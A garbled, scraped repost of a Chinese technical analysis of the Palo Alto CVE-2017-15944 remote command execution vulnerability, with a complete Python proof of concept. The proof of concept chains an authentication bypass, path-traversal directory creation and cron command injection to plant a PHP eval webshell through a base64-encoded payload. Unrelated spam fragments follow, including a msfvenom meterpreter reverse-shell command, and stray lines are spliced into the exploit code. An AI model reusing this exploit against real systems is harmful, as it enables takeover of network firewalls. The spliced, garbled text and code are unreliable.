c言语入门:PaloAlto长途指令履行缝隙关键技术剖析终篇(附POC )

访客4年前黑客文章1078

        这篇文章是对Palo Alto防火墙产品未授权长途代码实行缝隙(CVE-2017-15944 )中SESSION设置、任意目录创建、指令实行缝隙的技能分析。之前对该缝隙认证绕过部分进行了介绍,这篇文章是该缝隙的后续部分。

(一)SESSION设置

在认证绕过缝隙中,需求通过访问https://ip/esp/cms_changeDeviceContext.esp来设置SESSION中的user变量。在cms_changeDeviceContext.esp中,调用了panUserSetDeviceLocation($_SESSION['user'], $_GET['device'], 0, new php_string_argout()),这个函数的实现在/usr/lib/php/modules/panmodule.so中。下面通过调试该函数,来分析SESSION变量的设置。访问https://ip/esp/cms_changeDeviceContext.esp?device=4096:aaaaaaaa:bbbbbbbb,进入panUserSetDeviceLocation函数:

 

1、deviceStr指针指向的字符串就是传入的URL参数device的值:”4096:aaaaaaaa:bbbbbbbb”

 

2、调用panPhpConvertStringToLoc(char* deviceStr, pan_swal_config_loc_t* pLoc)函数,将deviceStr进行处理后存储在pLoc中,处理的首要逻辑如下:

 

 

1) 寻觅之一个’:'字符,将之一个’:'之前的字符串依照十进制转化为整数dNumber;

 

2)寻觅…第二个’:'字符,将之一个’:'与第二个’:'之间的字符串deviceName(剩余20h个,自动切断)仿制在4-24h字节处;

 

3)寻觅第三个’

研讨发现的几个基本问题:

:'字符,将第二个’:'与第三个’:'之间的字符串str2(剩余20h个,自动切断)仿制在24h-44h字节处;

 

4)假设有,持续寻觅后边’:'字符,将第n个’:'与第n+1个’:'之间的字符串strn(剩余20h个,自动切断)仿制在24h-44h字节处,掩盖本来的数据毕竟pLoc的结构如下:

 

 

3、调用panPhpSetDeviceForSession(pan_char_t *cookie, pan_char_t *devName, pan_char_t *errMsgBuf, pan_uint32_t bufSize)函数,参数devName字符串就是pLoc结构中的devName字符串,在该输入中,为”aaaaaaaa”。panPhpSetDeviceForSession调用panPhpSetDeviceAndVsysForSession(pan_char_t *cookie, pan_char_t *devName, pan_char_t *vsysName, pan_char_t *errMsgBuf, pan_uint32_t bufSize),参数devName字符串就是pLoc结构中的devName字符串,在该输入中为”aaaaaaaa”;参数vsysName字符串为“vsys1”。

 

panPhpSetDeviceAndVsysForSession的要害处理逻辑如下:

 

1)调用panPhpConvertLocToString,回来“8:aaaaaaaa”

 

2)通过panPhpSetSessionVar函数,将session变量dloc设置为“8:aaaaaaaa”

 

3)通过panPhpSetSessionVar函数,将session变量loc设置为“16:aaaaaaaa:vsys1”

 

 

4、根据上述分析,假设像上篇文章(http://www.freebuf.com/articles/es/159119.html)相同,输入https://ip/esp/cms_changeDeviceContext.esp ?device=aaaa:bbbb’”;user|s: ,则dloc的数值为 8:bbbb’”;user|s,loc的数值为16:bbbb’”;user|s:vsys1,读取的session的数值为 dloc|s:15:8:bbbb’”;user|s”;loc|s:22:”16:bbbb’”;user|s:vsys1″;

 

(二)任意目录创建

 

向https://ip/php/utils/router.php/Administrator.get运用POST办法提交如下数据:

 

{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']"        async-mode='yes' refresh='yes' cookie='../../../../../../tmp/hacked'/>u0000"}],"type":"rpc","tid":713}

 

会创建/tmp/hacked文件,下面临原理进行分析:

 

1、router.php文件中界说了ExtDirect_Router类,该类承继自RouterAbstract

 

2、router.php新建ExtDirect_Router目标,并顺次调用getResponse()=>>dispatch(),在dispatch中对POST提交的数据进行 *** ON处理,收到的POST数据为:

{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']"        async-mode='yes' refresh='yes' cookie='../../../../../../tmp/hacked'/>u0000"}],"type":"rpc","tid":713}

处理之后赋值给request变量,requet变量的数值如下:

 

 

3、将request变量提交给rpc($request)函数,在rpc函数中通过call_user_func_array(array($instance,$method), $params)调用PanDirect->execute($params)

 

 

4、PanDirect->execute($params)的逻辑如下:

 

1)checkValidRemoteCall对类、办法、是否为静态办法进行断定;

 

2)$obj = $reflection->newInstanceArgs(array($jsonArgs));树立Administrator类;

 

3)$obj->$method();调用Administrator类的get办法

 

 

5、Administrator.get办法调用Direct::getConfigByXpath()函数,构成的xml如下图:

 

   

 

6、毕竟通过MSCommection.php中的writeaPayload函数将xml字符串发送给后台进程mgmtsrvr

 

7、mgmtsrvr中的pan_mgmtsrvr_client_svc函数接纳的数据如下。/tmp/hacked’/>之后,有个0字节,构成数据切断

 

 

8、毕竟在libpanmp_mp.so.1中的pan_jobmgr_store_job_result函数中运用途径回溯,树立了/tmp/hacked文件夹

 

 

(三)指令实行

 

1、检查/etc/cron.d/目录下的文件,此目录下寄存的是体系级使命的使命文件。下面有个indexgen文件,会在0、15、30、45分钟的时分实行genindex_batch.sh脚本:

 

SHELL=/bin/bash

0,15,30,45 * * * * root /usr/local/bin/genindex_batch.sh

 

在genindex_batch.sh中调用了/usr/local/bin/genindex.sh脚本

 

2、genindex.sh中构成指令实行的要害代码如下,其间PAN_BASE_DIR=/opt/pancfg/mgmt

 

 

3、指令实行

 

1)运用文件夹创建缝隙,发送

{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']" async-mode='yes' refresh='yes' cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec("Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==".decode("base64")) ;'/>u0000"}],"type":"rpc","tid":713}

 

2)创建文件夹/opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec(“Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==”.decode(“base64″)) ;,其间base64编码数据解码
标签:标题
之后的数值为f=open(‘/var/appweb/htdocs/vudrc.php’, ‘w’);f.write(“<?php @eval($_POST['chvuc010']);?>”);f.close();

 

3)genindex.sh实行的时分,实行的`find $day -mmin +5 -name pan.*.log | sort -r` 成为`find /opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec(“Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==”.decode(“base64″)) ; -mmin +5 -name pan.*.log | sort -r`,构成指令注入。

 

4)最多15分钟后,在/var/appweb/htdocs/vudrc.php写入一句话木马,暗码为chvuc010

 

(四)poc
 
import urllib
import urllib2
import ssl
import sys

ssl._create_default_https_context = ssl._create_unverified_context

domain = "192.168.1.1"

#pass auth
print "step 1: pass_auth"
pass_auth_url = "https://" + domain + "/esp/cms_changeDeviceContext.esp?device=1024:bbbb'";user|s:"
print "pif (CurrentFlags & FLAG_FIRST_THREAD) {ass_auth request: " + pass_auth_url
request = urllib2.Request(pass_auth_url)
response = urllib2.urlopen(requeRemove-MailboxExportRequest -Identity 'test.com/Users/test1MailboxExport' -Confirm:$falsest)
print "pass_auth respone: " + response.read()
session_start_index = response.headers['Set-Cookie'].find("PHPSESSID")
if session_start_index == -1:
print "pass_auth fail!!"
sys.exit()
session = response.headers['Set-Cookie'][session_start_index:]
session = session[:session.find(';')]
auth_headers = {
'Cookie':session,
'Connection':'keep-alive'
}


print "n"
print "step 2: check if pass auth"
auth_url = "https://" + domain + "/php/utils/debug.php"
print "auth_url request: " + auth_url
request = urllib2.Request(auth_url, headers = auth_headers)
response = urllib2.urlopen(request)
content = response.read()
#print content
if "Debug" not in content:
print "pass auth fail!!"
sys.exit()
print "pass auth success!!"


print "n"
print "setp 3: create dir"
create_dir_url = "https://" + domain + "/php/utils/router.php/Administrator.get"
print "create_dir request: " + create_dir_url
post_data = "{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']" async-mode='yes' refresh='yes' cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec("Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==".decode("base64")) ;'/>u0000"}],"type":"rpc","tid":713}"
request = urllib2.Request(create_dir_url, headers = auth_headers, data=post_data)
response = urllib2.urlopen(request)

print "n"
print "15 minutes later, visit https://" + domain + "/vudrc.php"

*本文原创作者:xmwanth,本文属FreeBuf原创奖赏方案,未经许可制止转载

c言语入门:PaloAlto长途指令履行缝隙关键技术剖析终篇(附POC )

CONFIG_CONNECTOR=y最简略的比如是运用官方docker客户端访问docker.sock文件(例如你可巧访问到了已设备docker客户端的容器,或是你可以设备docker客户端)。要运用它很简略,你可以工作
c语言入门
常规的docker指令,包括exec来获取shell:PaloAlto远程命令执行漏洞关键技术分析终篇(附POC )

c语言入门文中还提及,包括Samsung(三星)和Crucial(英睿达)在内的多种固态硬盘产品,加密机制存在缺陷,未对硬盘数据完结无缺加密,可无需暗码轻松完结加密机制绕过。这个模块可以运用有用的管理员用户名和暗码来在一台或多台主机上实行任意指令,这个模块是非常有用的,由于它不需求向政策主机上传任何的代码。因此,在一个新的metasploit结构中,我们就可以运用Web发送模块来获取到恶意dll代码,并在政策主机上完结任意指令实行。要了解有关AppLocker的更多信息,并且获得有关怎样创建并检验健壮的AppLocker战略的进一步教导,请参阅Oddvar Moe的AppLocker案例研讨,以及Aaron Margosis的AaronLocker东西。

可以运用如下指令间断查询:Windows上的进程归于一种安全的政策,可以阻遏已登录Windows主机的某个用户危害其他用户的进程。至少从非管理员的用户角度来看,这是一种非常重要的安全特性。在这种安全特性下,非管理员用户无法损坏任何进程的完整性。可是,这种安全屏障在针对管理员、特别是具有调试(Debug)权限的管理员时会显得捉襟见肘,由于启用这种权限后,管理员就可以无视进程具有的安全特色,翻开任意进程。c语言入门

0x0D 内存溢出msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.100.3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat现在期望我们可以专注一点,初步吧!

IS

我们可以从VMRay挟制辨认服务(VTI)供应的详细信息中了解到,VMRay发现政策会检验进行沙盒检测,并且把这种行为符号成了“高度可疑”。(3)然后再运用launchd注册许多的服务,期望这些服务的port的ipc_entry会重用之前被开释的send right。 cat local.propertiesPaloAlto远程命令执行漏洞关键技术分析终篇(附POC )

c语言入门安卓logcat信息泄露的情况在早年的乌云上宣布过许多起,例如: pwd考虑到正则匹配简略误报漏报,有厂家扔掉了这种分析方式,转而
PaloAlto远程命令执行漏洞关键技术分析终篇(附POC )
做语义分析。长亭科技的SqlChop就是如此,概略可阅读SQLChop - 一个新式 SQL 注入检测引擎

其实说的afl-fuzz我们都不会很陌生,afl-fuzz是Linux用于fuzz文件格式,协议等二进制缝隙的神器,而winafl则是afl-fuzz的Windows版,最近我对winafl进行了一些浅层研讨,由于之前也进行过一段时间的二进制缝隙开掘,但基本上都是停留在手工开掘上,越发觉得自动化神器功用的健壮,也为往后自己开发fuz *** 西供应了很重要的教导根据。1. 供应 root 后门2.1 SSH相关c语言入门

由于之一种办法首要在同一进程中运用,因此我们首要注重后两种情况,只需Bound Service显露,那么便可以编写恶意app,通过Messenger和根据AIDL的Bound Service进行跨进程通讯,传入污染的数据或许直接调用被侵犯运用的功用,毕竟对安全发作非预期的影响。为了完结以上政策,最直接、有用的办法就是找到具有AD处理员权限的账号暗码信息。而这时我们首要想到的一般是神器Mimikatz,协作一些小技巧,不需求依托缝隙提权,只需处理稍微有所松懈,黑客在内网中就可如入无人之境。

假设你正好运用K9 Email,那么可以进入Account Settings | Cryptography,选择OpenKeychain用作你的加密解决方案。之后,K9就会从OpenKeychain获取你的加密密钥,其他的成为前史。

PaloAlto远程命令执行漏洞关键技术分析终篇(附POC )

一起Kill Chain可实行以下侵犯阶段:

这儿也需求留心几个问题:

[1][2]黑客接单网


本文标题:c言语入门:PaloAlto长途指令履行缝隙关键技术剖析终篇(附POC )

相关文章

2017年的黑客女主小说(黑客小说女主有几个)

2017年的黑客女主小说(黑客小说女主有几个)

本文导读目录: 1、有没有“女主是黑客”很拽的小说?求各位大神推荐,留下书名作者名!谢谢! 2、女主是黑客小说? 3、女主是黑客的小说,男主也要很强。。。 4、女主是黑客的或者是杀手的小说...

山东黑客培训(黑客技术培训)

山东黑客培训(黑客技术培训)

本文导读目录: 1、黑客要从那学起?请大家给点介意!谢谢 2、山东蓝翔为什么遭调侃 3、黑客是怎样练成的?给10分 4、黑客入门新手特训 5、有什么免费的HACKER培训基地没最起码也...

后入北京商务-工作室性价比最高

后入北京商务-模特工作室性价比最高 伴游描述:最近有很多朋友在商务预约网后台留言,想了解关于后入北京商务信息。于是小编通过百度、知乎、文库等途径,总结了以下关于后入北京商务的全部内容。希望对大家有所帮...

黄金多少钱(黄金多少钱一克今日金价)

黄金多少钱(黄金多少钱一克今日金价)

本文导读目录: 1、金子多少钱一克 2、黄金多少钱一克? 3、黄金现在多少钱一克2021 4、黄金现在多少钱一克? 5、一两黄金多少钱 6、300克黄金多少钱? 7、黄金多少钱...

全免费手机游戏的网站

  因为我比较喜欢玩游戏   推荐一免费手机游戏网站手机支持java就行了。游戏已破解全免费 还有个别游戏需要密码密码111。要采纳哦。要不对不起哦。   你的手机能上网的话,可以上wap.qq.co...

小麦田加盟要多少钱?轻松合理化的投资

小麦田加盟要多少钱?轻松合理化的投资

跟着经济程度的不绝成长不绝的晋升,餐饮行业傍边成长迅速的当属快餐行业的成长,快餐行业是各人纷纷创业加盟的不二之选。在浩瀚的加盟品牌加盟项目傍边各人选择快餐加盟项目不是完全没有原因的,首先跟着此刻的糊口...